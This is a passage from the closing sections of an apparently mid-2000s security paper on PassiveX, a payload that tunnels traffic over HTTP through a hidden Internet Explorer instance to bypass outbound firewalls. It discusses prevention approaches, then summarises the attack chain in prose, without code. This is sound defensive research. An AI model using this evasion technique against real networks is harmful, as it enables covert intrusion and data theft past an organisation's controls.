prevention would be to implement an outbound filter that made use of contextual heuristics to determine if the traffic passing between two hosts might be potentially indicative of encapsulated data. For instance, a transparent HTTP proxy could monitor and track the variance of form and the spacing of requests and responses between two hosts. In the case of the simple HTTP tunnel described in this document, a transparent HTTP proxy could note that there is very little variance between the headers of both the requests and the responses and that the form of communication between the two hosts is unchanging. Though this could be made to work, there are a number of problems that make using this technique of prevention not entirely viable. The first and foremost problem with this technique is that it does not actually prevent communication between the two entities until it is able to determine that the requests and responses are of a common form and pattern. This alone makes this method of "prevention" entirely unreasonable, but it is nonetheless worthy of consideration from a completeness standpoint. Other problems with this approach include the fact that it's very easy to fool by making the communication unpredictable, sporadic, and very similar to normal HTTP traffic. This fact makes using a heuristic based form of validation less favorable as it will always need to error towards non-positive in order to prevent a poor user experience for legitimate traffic passing through the proxy. 5.2) Improving application-based filters Another approach that can be taken to prevent tunneling through arbitrary protocols is to enhance application-based filters. For instance, PassiveX relies on its ability to execute a hidden instance of Internet Explorer. If the execution of a hidden Internet Explorer weren't permitted or the hidden instance were unable to access network resources, the payload would not be functional There have been rumors of decisions to make it impossible to execute a hidden Internet Explorer, though no concrete information has been posted at the time of this writing.. It would also be useful to support application-based filters on network activity that occurs on the loopback interface, such as binding to a TCP port on loopback. However, support for this requires a different approach than what is typically employed by most firewall vendors and would not necessarily be indicative of a malicious program Most firewall products for NT-based versions of Windows are implemented as NDIS intermediate drivers since such drivers provide the lowest level of supported filtering.. Perhaps one of the most useful enhancements would be to add state-based filtering. One example of a state-based filter would be to prevent outbound communication of applications like Internet Explorer while the user is idle. Though this doesn't prevent communication while the user is active, it does add another layer of protection. Another example of a state-based filter would be to track unrequested internet traffic and to ask the user if it should be permitted. An example of unrequested internet traffic comes in the form of the initial HTTP request that is made by the hidden internet explorer. In this case, the Internet Explorer process was not spawned by a user and thus the internet traffic can rightly be deemed unrequested. 6) Conclusion Securing a network involves protecting it from being compromised both from the outside and from the inside. To protect both of these conditions, network administrators may make use of outbound filters to help control and limit the type of content that is allowed to leave the network in conjunction with inbound filters that control and limit the type of content that is allowed to enter the network. While filtering data in both directions is important, it is not always enough to stop machines inside the network from being compromised. Outbound filters in particular, whether employed at the network, application, or intermediate level are all easily bypassed by virtue of the fact that they allow users of the machine to communicate with hosts on the internet in some form or another. In order for an attacker to bypass outbound filters, the attacker must find a way to look like acceptable user traffic. One way of approaching this is to implement a payload that enables the execution of both signed and unsigned ActiveX controls in Internet Explorer's Internet zone. Once enabled, the payload could then launch a hidden Internet Explorer using a URL that contains an embedded ActiveX control. From there, the ActiveX control could construct an HTTP tunnel between the target machine and the attacker, thus creating a channel through which data can be passed in a fashion that will bypass most network's outbound filters. The reason this bypasses most outbound filters is because it uses a trusted protocol, such as HTTP, and is executed in the context of a typically trusted process, such as Internet Explorer, in an attempt to make the traffic appear legitimate. The benefits of such a payload vary based on a person's alignment. However, it goes without saying that it could be potentially useful to both sides of the fence. Whether used for penetration testing or for worm propagation, the ability to bypass outbound filters makes for an interesting connection medium beyond those typically used by post-exploitation payloads, such as those that establish reverse connections or listen on a port. Preventing payloads such as these from being possible might involve enhancing the ability of outbound filters to differentiate user traffic from non-user traffic. There's no question that the field of exploitation and post-exploitation research is filled with vast amounts of ingenuity. The very act of making something do what no one else considered, or in ways no one considered, is one of the many examples of creativity. However, with ingenuity comes a certain sense of responsibility. While the topics expanded upon in this document could be used for malicious purposes, the author hopes that instead the reader will use this knowledge to discover or expand on things that have yet to be discussed, thus making it possible to continue the cycle of education and enlightenment. Bibliography 3APA3A, offtopic. Bypassing Client Application Protection Techniques. http://www.securiteam.com/securityreviews/6S0030ABPE.html; accessed Mar 17, 2005. Dubrawsky, Ido. Data Driven Attacks Using HTTP Tunneling. http://www.securityfocus.com/infocus/1793; accessed Mar 15, 2005. GNU. GNU httptunnel. http://www.nocrew.org/software/httptunnel.html; accessed Mar 15, 2005. iDEFENSE. AOL Instant Messenger aim:goaway URI Handler Buffer Overflow Vulnerability. http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities; accessed Mar 08, 2005. Microsoft Corporation. Working with Internet Explorer 6 Security Settings. http://www.microsoft.com/windows/ie/using/howto/security/settings.mspx; accessed Mar 15, 2005. Microsoft Corporation. The Component Object Model: A Technical Overview. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncomg/html/msdn_comppr.asp; accessed Mar 16, 2005. Microsoft Corporation. About WinINet. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wininet/wininet/about_wininet.asp; accessed Mar 16, 2005. OSVDB. Microsoft IE Object Type Property Overflow. http://www.osvdb.org/displayvuln.php?osvdb_id=2967; accessed Mar 08, 2005. rattle. Using Process Infection to Bypass Windows Software Firewalls. http://www.phrack.org/show.php?p=62&a=13; accessed Mar 17, 2005.